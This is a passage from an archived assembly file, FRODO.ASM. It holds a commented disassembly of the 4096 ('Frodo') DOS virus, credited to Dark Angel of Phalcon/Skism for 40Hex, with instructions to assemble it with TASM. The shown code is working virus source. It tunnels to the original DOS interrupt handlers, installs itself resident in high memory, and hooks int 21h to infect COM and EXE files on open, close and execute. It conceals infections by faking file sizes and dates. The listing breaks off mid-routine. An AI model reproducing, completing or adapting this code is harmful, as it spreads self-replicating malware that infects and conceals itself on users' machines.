home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / FRODO.ASM < prev    next >
Assembly Source File  |  1996-03-17  |  85KB  |  1,815 lines

  1. _4096           segment byte public
  2.                 assume  cs:_4096, ds:_4096
  3.  
  4. ; 4096 Virus
  5. ; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
  6. ; Assemble with TASM; the resultant file size is 4081 bytes
  7.  
  8.                 org     0
  9. startvirus:
  10.                 db      0
  11.                 jmp     installvirus
  12. oldheader: ; original 1Ch bytes of the carrier file
  13.                 retn
  14.                 db      75h,02,44h,15h,46h,20h
  15.                 db      'Copyright Bourb%}i, I'
  16. endoldheader:
  17. EXEflag         db       00h
  18.                 db      0FEh, 3Ah
  19.  
  20. int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
  21.                 push    bp                      ; set up stack frame
  22.                 mov     bp,sp
  23.                 push    ax
  24.                 cmp     word ptr [bp+4],0C000h  ; in BIOS?
  25.                 jnb     foundorigint            ; nope, haven't found it
  26.                 mov     ax,cs:DOSsegment        ; in DOS?
  27.                 cmp     [bp+4],ax
  28.                 jbe     foundorigint
  29. exitint1:
  30.                 pop     ax
  31.                 pop     bp
  32.                 iret
  33. foundorigint:
  34.                 cmp     byte ptr cs:tracemode,1
  35.                 jz      tracemode1
  36.                 mov     ax,[bp+4]               ; save segment of entry point
  37.                 mov     word ptr cs:origints+2,ax
  38.                 mov     ax,[bp+2]               ; save offset of entry point
  39.                 mov     word ptr cs:origints,ax
  40.                 jb      finishint1
  41.                 pop     ax
  42.                 pop     bp
  43.                 mov     ss,cs:savess            ; restore the stack to its
  44.                 mov     sp,cs:savesp            ; original state
  45.                 mov     al,cs:saveIMR           ; Restore IMR
  46.                 out     21h,al                  ; (enable interrupts)
  47.                 jmp     setvirusints
  48. finishint1:
  49.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  50.                 mov     al,cs:saveIMR           ; and restore IMR
  51.                 out     21h,al
  52.                 jmp     short exitint1
  53. tracemode1:
  54.                 dec     byte ptr cs:instructionstotrace
  55.                 jnz     exitint1
  56.                 and     word ptr [bp+6],0FEFFh  ; turn off trap flag
  57.                 call    saveregs
  58.                 call    swapvirint21            ; restore original int
  59.                 lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
  60.                 mov     al,1
  61.                 call    setvect
  62.                 call    restoreregs
  63.                 jmp     short finishint1
  64.  
  65. getint:
  66.                 push    ds
  67.                 push    si
  68.                 xor     si,si                   ; clear si
  69.                 mov     ds,si                   ; ds->interrupt table
  70.                 xor     ah,ah                   ; cbw would be better!?
  71.                 mov     si,ax
  72.                 shl     si,1                    ; convert int # to offset in
  73.                 shl     si,1                    ; interrupt table (int # x 4)
  74.                 mov     bx,[si]                 ; es:bx = interrupt vector
  75.                 mov     es,[si+2]               ; get old interrupt vector
  76.                                                 ; save 3 bytes if use les bx,[si]
  77.                 pop     si
  78.                 pop     ds
  79.                 retn
  80.  
  81. installvirus:
  82.                 mov     word ptr cs:stackptr,offset topstack
  83.                 mov     cs:initialax,ax         ; save initial value for ax
  84.                 mov     ah,30h                  ; Get DOS version
  85.                 int     21h
  86.  
  87.                 mov     cs:DOSversion,al        ; Save DOS version
  88.                 mov     cs:carrierPSP,ds        ; Save PSP segment
  89.                 mov     ah,52h                  ; Get list of lists
  90.                 int     21h
  91.  
  92.                 mov     ax,es:[bx-2]            ; segment of first MCB
  93.                 mov     cs:DOSsegment,ax        ; save it for use in int 1
  94.                 mov     es,ax                   ; es = segment first MCB
  95.                 mov     ax,es:[1]               ; Get owner of first MCB
  96.                 mov     cs:ownerfirstMCB,ax     ; save it
  97.                 push    cs
  98.                 pop     ds
  99.                 mov     al,1                    ; get single step vector
  100.                 call    getint
  101.                 mov     word ptr ds:oldint1,bx  ; save it for later
  102.                 mov     word ptr ds:oldint1+2,es; restoration
  103.                 mov     al,21h                  ; get int 21h vector
  104.                 call    getint
  105.                 mov     word ptr ds:origints,bx
  106.                 mov     word ptr ds:origints+2,es
  107.                 mov     byte ptr ds:tracemode,0 ; regular trace mode on
  108.                 mov     dx,offset int1          ; set new int 1 handler
  109.                 mov     al,1
  110.                 call    setvect
  111.                 pushf
  112.                 pop     ax
  113.                 or      ax,100h                 ; turn on trap flag
  114.                 push    ax
  115.                 in      al,21h                  ; Get old IMR
  116.                 mov     ds:saveIMR,al
  117.                 mov     al,0FFh                 ; disable all interrupts
  118.                 out     21h,al
  119.                 popf
  120.                 mov     ah,52h                  ; Get list of lists
  121.                 pushf                           ; (for tracing purposes)
  122.                 call    dword ptr ds:origints   ; perform the tunnelling
  123.                 pushf
  124.                 pop     ax
  125.                 and     ax,0FEFFh               ; turn off trap flag
  126.                 push    ax
  127.                 popf
  128.                 mov     al,ds:saveIMR           ; reenable interrupts
  129.                 out     21h,al
  130.                 push    ds
  131.                 lds     dx,dword ptr ds:oldint1
  132.                 mov     al,1                    ; restore int 1 to the
  133.                 call    setvect                 ; original handler
  134.                 pop     ds
  135.                 les     di,dword ptr ds:origints; set up int 21h handlers
  136.                 mov     word ptr ds:oldint21,di
  137.                 mov     word ptr ds:oldint21+2,es
  138.                 mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
  139.                 mov     word ptr ds:int21store,offset otherint21
  140.                 mov     word ptr ds:int21store+2,cs
  141.                 call    swapvirint21            ; activate virus in memory
  142.                 mov     ax,4B00h
  143.                 mov     ds:checkres,ah          ; set resident flag to a
  144.                                                 ; dummy value
  145.                 mov     dx,offset EXEflag+1     ; save EXE flag
  146.                 push    word ptr ds:EXEflag
  147.                 int     21h                     ; installation check
  148.                                                 ; returns checkres=0 if
  149.                                                 ; installed
  150.  
  151.                 pop     word ptr ds:EXEflag     ; restore EXE flag
  152.                 add     word ptr es:[di-4],9
  153.                 nop                             ; !?
  154.                 mov     es,ds:carrierPSP        ; restore ES and DS to their
  155.                 mov     ds,ds:carrierPSP        ; original values
  156.                 sub     word ptr ds:[2],(topstack/10h)+1
  157.                                                 ; alter top of memory in PSP
  158.                 mov     bp,ds:[2]               ; get segment
  159.                 mov     dx,ds
  160.                 sub     bp,dx
  161.                 mov     ah,4Ah                  ; Find total available memory
  162.                 mov     bx,0FFFFh
  163.                 int     21h
  164.  
  165.                 mov     ah,4Ah                  ; Allocate all available memory
  166.                 int     21h
  167.  
  168.                 dec     dx                      ; go to MCB of virus memory
  169.                 mov     ds,dx
  170.                 cmp     byte ptr ds:[0],'Z'     ; is it the last block?
  171.                 je      carrierislastMCB
  172.                 dec     byte ptr cs:checkres    ; mark need to install virus
  173. carrierislastMCB:
  174.                 cmp     byte ptr cs:checkres,0  ; need to install?
  175.                 je      playwithMCBs            ; nope, go play with MCBs
  176.                 mov     byte ptr ds:[0],'M'     ; mark not end of chain
  177. playwithMCBs:
  178.                 mov     ax,ds:[3]               ; get memory size controlled
  179.                 mov     bx,ax                   ; by the MCB
  180.                 sub     ax,(topstack/10h)+1     ; calculate new size
  181.                 add     dx,ax                   ; find high memory segment
  182.                 mov     ds:[3],ax               ; put new size in MCB
  183.                 inc     dx                      ; one more for the MCB
  184.                 mov     es,dx                   ; es->high memory MCB
  185.                 mov     byte ptr es:[0],'Z'     ; mark end of chain
  186.                 push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
  187.                 pop     word ptr es:[1]         ; make it the owner
  188.                 mov     word ptr es:[3],160h    ; fill in the size field
  189.                 inc     dx
  190.                 mov     es,dx                   ; es->high memory area
  191.                 push    cs
  192.                 pop     ds
  193.                 mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
  194.                 mov     si,offset topstack-2
  195.                 mov     di,si
  196.                 std                             ; zopy backwards
  197.                 rep     movsw
  198.                 cld
  199.                 push    es                      ; set up stack for jmp into
  200.                 mov     ax,offset highentry     ; virus code in high memory
  201.                 push    ax
  202.                 mov     es,cs:carrierPSP        ; save current PSP segment
  203.                 mov     ah,4Ah                  ; Alter memory allocation
  204.                 mov     bx,bp                   ; bx = paragraphs
  205.                 int     21h
  206.                 retf                            ; jmp to virus code in high
  207. highentry:                                      ; memory
  208.                 call    swapvirint21
  209.                 mov     word ptr cs:int21store+2,cs
  210.                 call    swapvirint21
  211.                 push    cs
  212.                 pop     ds
  213.                 mov     byte ptr ds:handlesleft,14h ; reset free handles count
  214.                 push    cs
  215.                 pop     es
  216.                 mov     di,offset handletable
  217.                 mov     cx,14h
  218.                 xor     ax,ax                   ; clear handle table
  219.                 rep     stosw
  220.                 mov     ds:hideclustercountchange,al ; clear the flag
  221.                 mov     ax,ds:carrierPSP
  222.                 mov     es,ax                   ; es->PSP
  223.                 lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
  224.                 mov     ds,ax                   ; ds->PSP
  225.                 add     ax,10h                  ; adjust for PSP
  226.                 add     word ptr cs:oldheader+16h,ax ; adjust jmp location
  227.                 cmp     byte ptr cs:EXEflag,0   ; for PSP
  228.                 jne     returntoEXE
  229. returntoCOM:
  230.                 sti
  231.                 mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
  232.                 mov     ds:[100h],ax            ; COM file
  233.                 mov     ax,word ptr cs:oldheader+2
  234.                 mov     ds:[102h],ax
  235.                 mov     ax,word ptr cs:oldheader+4
  236.                 mov     ds:[104h],ax
  237.                 push    word ptr cs:carrierPSP  ; Segment of carrier file's
  238.                 mov     ax,100h                 ; PSP
  239.                 push    ax
  240.                 mov     ax,cs:initialax         ; restore orig. value of ax
  241.                 retf                            ; return to original COM file
  242.  
  243. returntoEXE:
  244.                 add     word ptr cs:oldheader+0eh,ax
  245.                 mov     ax,cs:initialax         ; Restore ax
  246.                 mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
  247.                 mov     sp,word ptr cs:oldheader+10h ; original value
  248.                 sti
  249.                 jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
  250.                                                 ; entry point
  251. entervirus:
  252.                 cmp     sp,100h                 ; COM file?
  253.                 ja      dont_resetstack         ; if so, skip this
  254.                 xor     sp,sp                   ; new stack
  255. dont_resetstack:
  256.                 mov     bp,ax
  257.                 call    next                    ; calculate relativeness
  258. next:
  259.                 pop     cx
  260.                 sub     cx,offset next          ; cx = delta offset
  261.                 mov     ax,cs                   ; ax = segment
  262.                 mov     bx,10h                  ; convert to offset
  263.                 mul     bx
  264.                 add     ax,cx
  265.                 adc     dx,0
  266.                 div     bx                      ; convert to seg:off
  267.                 push    ax                      ; set up stack for jmp
  268.                 mov     ax,offset installvirus  ; to installvirus
  269.                 push    ax
  270.                 mov     ax,bp
  271.                 retf                            ; go to installvirus
  272.  
  273. int21commands:
  274.                 db      30h     ; get DOS version
  275.                 dw      offset getDOSversion
  276.                 db      23h     ; FCB get file size
  277.                 dw      offset FCBgetfilesize
  278.                 db      37h     ; get device info
  279.                 dw      offset get_device_info
  280.                 db      4Bh     ; execute
  281.                 dw      offset execute
  282.                 db      3Ch     ; create file w/ handle
  283.                 dw      offset createhandle
  284.                 db      3Dh     ; open file
  285.                 dw      offset openhandle
  286.                 db      3Eh     ; close file
  287.                 dw      offset handleclosefile
  288.                 db      0Fh     ; FCB open file
  289.                 dw      offset FCBopenfile
  290.                 db      14h     ; sequential FCB read
  291.                 dw      offset sequentialFCBread
  292.                 db      21h     ; random FCB read
  293.                 dw      offset randomFCBread
  294.                 db      27h     ; random FCB block read
  295.                 dw      offset randomFCBblockread
  296.                 db      11h     ; FCB find first
  297.                 dw      offset FCBfindfirstnext
  298.                 db      12h     ; FCB find next
  299.                 dw      offset FCBfindfirstnext
  300.                 db      4Eh     ; filename find first
  301.                 dw      offset filenamefindfirstnext
  302.                 db      4Fh     ; filename find next
  303.                 dw      offset filenamefindfirstnext
  304.                 db      3Fh     ; read
  305.                 dw      offset handleread
  306.                 db      40h     ; write
  307.                 dw      offset handlewrite
  308.                 db      42h     ; move file pointer
  309.                 dw      offset handlemovefilepointer
  310.                 db      57h     ; get/set file time/date
  311.                 dw      offset getsetfiletimedate
  312.                 db      48h     ; allocate memory
  313.                 dw      offset allocatememory
  314. endcommands:
  315.  
  316. otherint21:
  317.                 cmp     ax,4B00h                ; execute?
  318.                 jnz     notexecute
  319.                 mov     cs:checkres,al          ; clear the resident flag
  320. notexecute:
  321.                 push    bp                      ; set up stack frame
  322.                 mov     bp,sp
  323.                 push    [bp+6]                  ; push old flags
  324.                 pop     cs:int21flags           ; and put in variable
  325.                 pop     bp                      ; why?
  326.                 push    bp                      ; why?
  327.                 mov     bp,sp                   ; set up new stack frame
  328.                 call    saveregs
  329.                 call    swapvirint21            ; reenable DOS int 21h handler
  330.                 call    disableBREAK
  331.                 call    restoreregs
  332.                 call    _pushall
  333.                 push    bx
  334.                 mov     bx,offset int21commands ; bx->command table
  335. scanforcommand:
  336.                 cmp     ah,cs:[bx]              ; scan for the function
  337.                 jne     findnextcommand         ; code/subroutine combination
  338.                 mov     bx,cs:[bx+1]
  339.                 xchg    bx,[bp-14h]
  340.                 cld
  341.                 retn
  342. findnextcommand:
  343.                 add     bx,3                    ; go to next command
  344.                 cmp     bx,offset endcommands   ; in the table until
  345.                 jb      scanforcommand          ; there are no more
  346.                 pop     bx
  347. exitotherint21:
  348.                 call    restoreBREAK
  349.                 in      al,21h                  ; save IMR
  350.                 mov     cs:saveIMR,al
  351.                 mov     al,0FFh                 ; disable all interrupts
  352.                 out     21h,al
  353.                 mov     byte ptr cs:instructionstotrace,4 ; trace into
  354.                 mov     byte ptr cs:tracemode,1           ; oldint21
  355.                 call    replaceint1             ; set virus int 1 handler
  356.                 call    _popall
  357.                 push    ax
  358.                 mov     ax,cs:int21flags        ; get the flags
  359.                 or      ax,100h                 ; turn on the trap flag
  360.                 push    ax                      ; and set it in motion
  361.                 popf
  362.                 pop     ax
  363.                 pop     bp
  364.                 jmp     dword ptr cs:oldint21   ; chain back to original int
  365.                                                 ; 21h handler -- do not return
  366.  
  367. exitint21:
  368.                 call    saveregs
  369.                 call    restoreBREAK
  370.                 call    swapvirint21
  371.                 call    restoreregs
  372.                 pop     bp
  373.                 push    bp                      ; set up stack frame
  374.                 mov     bp,sp
  375.                 push    word ptr cs:int21flags  ; get the flags and put
  376.                 pop     word ptr [bp+6]         ; them on the stack for
  377.                 pop     bp                      ; the iret
  378.                 iret
  379.  
  380. FCBfindfirstnext:
  381.                 call    _popall
  382.                 call    callint21
  383.                 or      al,al                   ; Found any files?
  384.                 jnz     exitint21               ; guess not
  385.                 call    _pushall
  386.                 call    getdisktransferaddress
  387.                 mov     al,0
  388.                 cmp     byte ptr [bx],0FFh      ; Extended FCB?
  389.                 jne     findfirstnextnoextendedFCB
  390.                 mov     al,[bx+6]
  391.                 add     bx,7                    ; convert to normal FCB
  392. findfirstnextnoextendedFCB:
  393.                 and     cs:hide_size,al
  394.                 test    byte ptr [bx+1Ah],80h   ; check year bit for virus
  395.                 jz      _popall_then_exitint21  ; infection tag. exit if so
  396.                 sub     byte ptr [bx+1Ah],0C8h  ; alter file date
  397.                 cmp     byte ptr cs:hide_size,0
  398.                 jne     _popall_then_exitint21
  399.                 sub     word ptr [bx+1Dh],1000h ; hide file size
  400.                 sbb     word ptr [bx+1Fh],0
  401. _popall_then_exitint21:
  402.                 call    _popall
  403.                 jmp     short exitint21
  404.  
  405. FCBopenfile:
  406.                 call    _popall
  407.                 call    callint21               ; chain to original int 21h
  408.                 call    _pushall
  409.                 or      al,al                   ; 0 = success
  410.                 jnz     _popall_then_exitint21
  411.                 mov     bx,dx
  412.                 test    byte ptr [bx+15h],80h   ; check if infected yet
  413.                 jz      _popall_then_exitint21
  414.                 sub     byte ptr [bx+15h],0C8h  ; restore date
  415.                 sub     word ptr [bx+10h],1000h ; and hide file size
  416.                 sbb     byte ptr [bx+12h],0
  417.                 jmp     short _popall_then_exitint21
  418.  
  419. randomFCBblockread:
  420.                 jcxz    go_exitotherint21       ; reading any blocks?
  421.  
  422. randomFCBread:
  423.                 mov     bx,dx
  424.                 mov     si,[bx+21h]             ; check if reading first
  425.                 or      si,[bx+23h]             ; bytes
  426.                 jnz     go_exitotherint21
  427.                 jmp     short continueFCBread
  428.  
  429. sequentialFCBread:
  430.                 mov     bx,dx
  431.                 mov     ax,[bx+0Ch]             ; check if reading first
  432.                 or      al,[bx+20h]             ; bytes
  433.                 jnz     go_exitotherint21
  434. continueFCBread:
  435.                 call    checkFCBokinfect
  436.                 jnc     continuecontinueFCBread
  437. go_exitotherint21:
  438.                 jmp     exitotherint21
  439. continuecontinueFCBread:
  440.                 call    _popall
  441.                 call    _pushall
  442.                 call    callint21               ; chain to original handler
  443.                 mov     [bp-4],ax               ; set the return codes
  444.                 mov     [bp-8],cx               ; properly
  445.                 push    ds                      ; save FCB pointer
  446.                 push    dx
  447.                 call    getdisktransferaddress
  448.                 cmp     word ptr [bx+14h],1     ; check for EXE infection
  449.                 je      FCBreadinfectedfile     ; (IP = 1)
  450.                 mov     ax,[bx]                 ; check for COM infection
  451.                 add     ax,[bx+2]               ; (checksum = 0)
  452.                 add     ax,[bx+4]
  453.                 jz      FCBreadinfectedfile
  454.                 add     sp,4                    ; no infection, no stealth
  455.                 jmp     short _popall_then_exitint21 ; needed
  456. FCBreadinfectedfile:
  457.                 pop     dx                      ; restore address of the FCB
  458.                 pop     ds
  459.                 mov     si,dx
  460.                 push    cs
  461.                 pop     es
  462.                 mov     di,offset tempFCB       ; copy FCB to temporary one
  463.                 mov     cx,25h
  464.                 rep     movsb
  465.                 mov     di,offset tempFCB
  466.                 push    cs
  467.                 pop     ds
  468.                 mov     ax,[di+10h]             ; get old file size
  469.                 mov     dx,[di+12h]
  470.                 add     ax,100Fh                ; increase by virus size
  471.                 adc     dx,0                    ; and round to the nearest
  472.                 and     ax,0FFF0h               ; paragraph
  473.                 mov     [di+10h],ax             ; insert new file size
  474.                 mov     [di+12h],dx
  475.                 sub     ax,0FFCh
  476.                 sbb     dx,0
  477.                 mov     [di+21h],ax             ; set new random record #
  478.                 mov     [di+23h],dx
  479.                 mov     word ptr [di+0Eh],1     ; record size = 1
  480.                 mov     cx,1Ch
  481.                 mov     dx,di
  482.                 mov     ah,27h                  ; random block read 1Ch bytes
  483.                 call    callint21
  484.                 jmp     _popall_then_exitint21
  485.  
  486. FCBgetfilesize:
  487.                 push    cs
  488.                 pop     es
  489.                 mov     si,dx
  490.                 mov     di,offset tempFCB       ; copy FCB to temp buffer
  491.                 mov     cx,0025h
  492.                 repz    movsb
  493.                 push    ds
  494.                 push    dx
  495.                 push    cs
  496.                 pop     ds
  497.                 mov     dx,offset tempFCB
  498.                 mov     ah,0Fh                  ; FCB open file
  499.                 call    callint21
  500.                 mov     ah,10h                  ; FCB close file
  501.                 call    callint21
  502.                 test    byte ptr [tempFCB+15h],80h ; check date bit
  503.                 pop     si
  504.                 pop     ds
  505.                 jz      will_exitotherint21     ; exit if not infected
  506.                 les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
  507.                 mov     ax,es
  508.                 sub     bx,1000h                ; hide increase
  509.                 sbb     ax,0
  510.                 xor     dx,dx
  511.                 mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
  512.                 dec     cx
  513.                 add     bx,cx
  514.                 adc     ax,0
  515.                 inc     cx
  516.                 div     cx
  517.                 mov     [si+23h],ax             ; fix random access record #
  518.                 xchg    dx,ax
  519.                 xchg    bx,ax
  520.                 div     cx
  521.                 mov     [si+21h],ax             ; fix random access record #
  522.                 jmp     _popall_then_exitint21
  523.  
  524. filenamefindfirstnext:
  525.                 and     word ptr cs:int21flags,-2 ; turn off trap flag
  526.                 call    _popall
  527.                 call    callint21
  528.                 call    _pushall
  529.                 jnb     filenamefffnOK          ; continue if a file is found
  530.                 or      word ptr cs:int21flags,1
  531.                 jmp     _popall_then_exitint21
  532.  
  533. filenamefffnOK:
  534.                 call    getdisktransferaddress
  535.                 test    byte ptr [bx+19h],80h   ; Check high bit of date
  536.                 jnz     filenamefffnfileinfected; Bit set if infected
  537.                 jmp     _popall_then_exitint21
  538. filenamefffnfileinfected:
  539.                 sub     word ptr [bx+1Ah],1000h ; hide file length increase
  540.                 sbb     word ptr [bx+1Ch],0
  541.                 sub     byte ptr [bx+19h],0C8h  ; and date change
  542.                 jmp     _popall_then_exitint21
  543.  
  544. createhandle:
  545.                 push    cx
  546.                 and     cx,7                    ; mask the attributes
  547.                 cmp     cx,7                    ; r/o, hidden, & system?
  548.                 je      exit_create_handle
  549.                 pop     cx
  550.                 call    replaceint13and24
  551.                 call    callint21               ; chain to original int 21h
  552.                 call    restoreint13and24
  553.                 pushf
  554.                 cmp     byte ptr cs:errorflag,0 ; check if any errors yet
  555.                 je      no_errors_createhandle
  556.                 popf
  557. will_exitotherint21:
  558.                 jmp     exitotherint21
  559. no_errors_createhandle:
  560.                 popf
  561.                 jc      other_error_createhandle; exit on error
  562.                 mov     bx,ax                   ; move handle to bx
  563.                 mov     ah,3Eh                  ; Close file
  564.                 call    callint21
  565.                 jmp     short openhandle
  566. other_error_createhandle:
  567.                 or      byte ptr cs:int21flags,1; turn on the trap flag
  568.                 mov     [bp-4],ax               ; set the return code properly
  569.                 jmp     _popall_then_exitint21
  570. exit_create_handle:
  571.                 pop     cx
  572.                 jmp     exitotherint21
  573.  
  574. openhandle:
  575.                 call    getcurrentPSP
  576.                 call    checkdsdxokinfect
  577.                 jc      jmp_exitotherint21
  578.                 cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
  579.                 je      jmp_exitotherint21        ; entry in the table
  580.                 call    setup_infection         ; open the file
  581.                 cmp     bx,0FFFFh               ; error?
  582.                 je      jmp_exitotherint21      ; if so, exit
  583.                 dec     byte ptr cs:handlesleft
  584.                 push    cs
  585.                 pop     es
  586.                 mov     di,offset handletable
  587.                 mov     cx,14h
  588.                 xor     ax,ax                   ; find end of the table
  589.                 repne   scasw
  590.                 mov     ax,cs:currentPSP        ; put the PSP value and the
  591.                 mov     es:[di-2],ax            ; handle # in the table
  592.                 mov     es:[di+26h],bx
  593.                 mov     [bp-4],bx               ; put handle # in return code
  594. handleopenclose_exit:
  595.                 and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
  596.                 jmp     _popall_then_exitint21
  597. jmp_exitotherint21:
  598.                 jmp     exitotherint21
  599.  
  600. handleclosefile:
  601.                 push    cs
  602.                 pop     es
  603.                 call    getcurrentPSP
  604.                 mov     di,offset handletable
  605.                 mov     cx,14h                  ; 14h entries max
  606.                 mov     ax,cs:currentPSP        ; search for calling PSP
  607. scanhandle_close:
  608.                 repne   scasw
  609.                 jnz     handlenotfound          ; handle not trapped
  610.                 cmp     bx,es:[di+26h]          ; does the handle correspond?
  611.                 jne     scanhandle_close        ; if not, find another handle
  612.                 mov     word ptr es:[di-2],0    ; otherwise, clear handle
  613.                 call    infect_file
  614.                 inc     byte ptr cs:handlesleft ; fix handles left counter
  615.                 jmp     short handleopenclose_exit ; and exit
  616. handlenotfound:
  617.                 jmp     exitotherint21
  618.  
  619. getdisktransferaddress:
  620.                 push    es
  621.                 mov     ah,2Fh                  ; Get disk transfer address
  622.                 call    callint21               ; to es:bx
  623.                 push    es
  624.                 pop     ds                      ; mov to ds:bx
  625.                 pop     es
  626.                 retn
  627. execute:
  628.                 or      al,al                   ; load and execute?
  629.                 jz      loadexecute             ; yepper!
  630.                 jmp     checkloadnoexecute      ; otherwise check if
  631.                                                 ; load/no execute
  632. loadexecute:
  633.                 push    ds                      ; save filename
  634.                 push    dx
  635.                 mov     word ptr cs:parmblock,bx; save parameter block and
  636.                 mov     word ptr cs:parmblock+2,es; move to ds:si
  637.                 lds     si,dword ptr cs:parmblock
  638.                 mov     di,offset copyparmblock ; copy the parameter block
  639.                 mov     cx,0Eh
  640.                 push    cs
  641.                 pop     es
  642.                 rep     movsb
  643.                 pop     si                      ; copy the filename
  644.                 pop     ds                      ; to the buffer
  645.                 mov     di,offset copyfilename
  646.                 mov     cx,50h
  647.                 rep     movsb
  648.                 mov     bx,0FFFFh
  649.                 call    allocate_memory         ; allocate available memory
  650.                 call    _popall
  651.                 pop     bp                      ; save the parameters
  652.                 pop     word ptr cs:saveoffset  ; on the stack
  653.                 pop     word ptr cs:savesegment
  654.                 pop     word ptr cs:int21flags
  655.                 mov     ax,4B01h                ; load/no execute
  656.                 push    cs                      ; ds:dx -> file name
  657.                 pop     es                      ; es:bx -> parameter block
  658.                 mov     bx,offset copyparmblock
  659.                 pushf                           ; perform interrupt 21h
  660.                 call    dword ptr cs:oldint21
  661.                 jnc     continue_loadexecute    ; continue if no error
  662.                 or      word ptr cs:int21flags,1; turn on trap flag
  663.                 push    word ptr cs:int21flags  ; if error
  664.                 push    word ptr cs:savesegment ; restore stack
  665.                 push    word ptr cs:saveoffset
  666.                 push    bp                      ; restore the stack frame
  667.                 mov     bp,sp                   ; and restore ES:BX to
  668.                 les     bx,dword ptr cs:parmblock ; point to the parameter
  669.                 jmp     exitint21               ; block
  670. continue_loadexecute:
  671.                 call    getcurrentPSP
  672.                 push    cs
  673.                 pop     es
  674.                 mov     di,offset handletable   ; scan the handle table
  675.                 mov     cx,14h                  ; for the current PSP's
  676. scanhandle_loadexecute:                         ; handles
  677.                 mov     ax,cs:currentPSP
  678.                 repne   scasw
  679.                 jnz     loadexecute_checkEXE
  680.                 mov     word ptr es:[di-2],0    ; clear entry in handle table
  681.                 inc     byte ptr cs:handlesleft ; fix handlesleft counter
  682.                 jmp     short scanhandle_loadexecute
  683. loadexecute_checkEXE:
  684.                 lds     si,dword ptr cs:origcsip
  685.                 cmp     si,1                    ; Check if EXE infected
  686.                 jne     loadexecute_checkCOM
  687.                 mov     dx,word ptr ds:oldheader+16h ; get initial CS
  688.                 add     dx,10h                  ; adjust for PSP
  689.                 mov     ah,51h                  ; Get current PSP segment
  690.                 call    callint21
  691.                 add     dx,bx                   ;adjust for start load segment
  692.                 mov     word ptr cs:origcsip+2,dx
  693.                 push    word ptr ds:oldheader+14h       ; save old IP
  694.                 pop     word ptr cs:origcsip
  695.                 add     bx,10h                          ; adjust for the PSP
  696.                 add     bx,word ptr ds:oldheader+0Eh    ; add old SS
  697.                 mov     cs:origss,bx
  698.                 push    word ptr ds:oldheader+10h       ; old SP
  699.                 pop     word ptr cs:origsp
  700.                 jmp     short perform_loadexecute
  701. loadexecute_checkCOM:
  702.                 mov     ax,[si]                 ; Check if COM infected
  703.                 add     ax,[si+2]
  704.                 add     ax,[si+4]
  705.                 jz      loadexecute_doCOM       ; exit if already infected
  706.                 push    cs                      ; otherwise check to see
  707.                 pop     ds                      ; if it is suitable for
  708.                 mov     dx,offset copyfilename  ; infection
  709.                 call    checkdsdxokinfect
  710.                 call    setup_infection
  711.                 inc     byte ptr cs:hideclustercountchange
  712.                 call    infect_file             ; infect the file
  713.                 dec     byte ptr cs:hideclustercountchange
  714. perform_loadexecute:
  715.                 mov     ah,51h                  ; Get current PSP segment
  716.                 call    callint21
  717.                 call    saveregs
  718.                 call    restoreBREAK
  719.                 call    swapvirint21
  720.                 call    restoreregs
  721.                 mov     ds,bx                   ; ds = current PSP segment
  722.                 mov     es,bx                   ; es = current PSP segment
  723.                 push    word ptr cs:int21flags  ; restore stack parameters
  724.                 push    word ptr cs:savesegment
  725.                 push    word ptr cs:saveoffset
  726.                 pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
  727.                 pop     word ptr ds:[0Ch]       ; to return address found on
  728.                                                 ; the stack
  729.                                                 ; (int 21h caller CS:IP)
  730.                 push    ds
  731.                 lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
  732.                 mov     al,22h                  ; Set terminate address to it
  733.                 call    setvect
  734.                 pop     ds
  735.                 popf
  736.                 pop     ax
  737.                 mov     ss,cs:origss            ; restore the stack
  738.                 mov     sp,cs:origsp            ; and
  739.                 jmp     dword ptr cs:origcsip   ; perform the execute
  740.  
  741. loadexecute_doCOM:
  742.                 mov     bx,[si+1]               ; restore original COM file
  743.                 mov     ax,word ptr ds:[bx+si-261h]
  744.                 mov     [si],ax
  745.                 mov     ax,word ptr ds:[bx+si-25Fh]
  746.                 mov     [si+2],ax
  747.                 mov     ax,word ptr ds:[bx+si-25Dh]
  748.                 mov     [si+4],ax
  749.                 jmp     short perform_loadexecute
  750. checkloadnoexecute:
  751.                 cmp     al,1
  752.                 je      loadnoexecute
  753.                 jmp     exitotherint21
  754. loadnoexecute:
  755.                 or      word ptr cs:int21flags,1; turn on trap flag
  756.                 mov     word ptr cs:parmblock,bx; save pointer to parameter
  757.                 mov     word ptr cs:parmblock+2,es ; block
  758.                 call    _popall
  759.                 call    callint21               ; chain to int 21h
  760.                 call    _pushall
  761.                 les     bx,dword ptr cs:parmblock ; restore pointer to
  762.                                                 ; parameter block
  763.                 lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
  764.                 jc      exit_loadnoexecute
  765.                 and     byte ptr cs:int21flags,0FEh ; turn off trap flag
  766.                 cmp     si,1                    ; check for EXE infection
  767.                 je      loadnoexecute_EXE_already_infected
  768.                                                 ; infected if initial IP = 1
  769.                 mov     ax,[si]                 ; check for COM infection
  770.                 add     ax,[si+2]               ; infected if checksum = 0
  771.                 add     ax,[si+4]
  772.                 jnz     perform_the_execute
  773.                 mov     bx,[si+1]               ; get jmp location
  774.                 mov     ax,ds:[bx+si-261h]      ; restore original COM file
  775.                 mov     [si],ax
  776.                 mov     ax,ds:[bx+si-25Fh]
  777.                 mov     [si+2],ax
  778.                 mov     ax,ds:[bx+si-25Dh]
  779.                 mov     [si+4],ax
  780.                 jmp     short perform_the_execute
  781. loadnoexecute_EXE_already_infected:
  782.                 mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
  783.                 call    getcurrentPSP
  784.                 mov     cx,cs:currentPSP
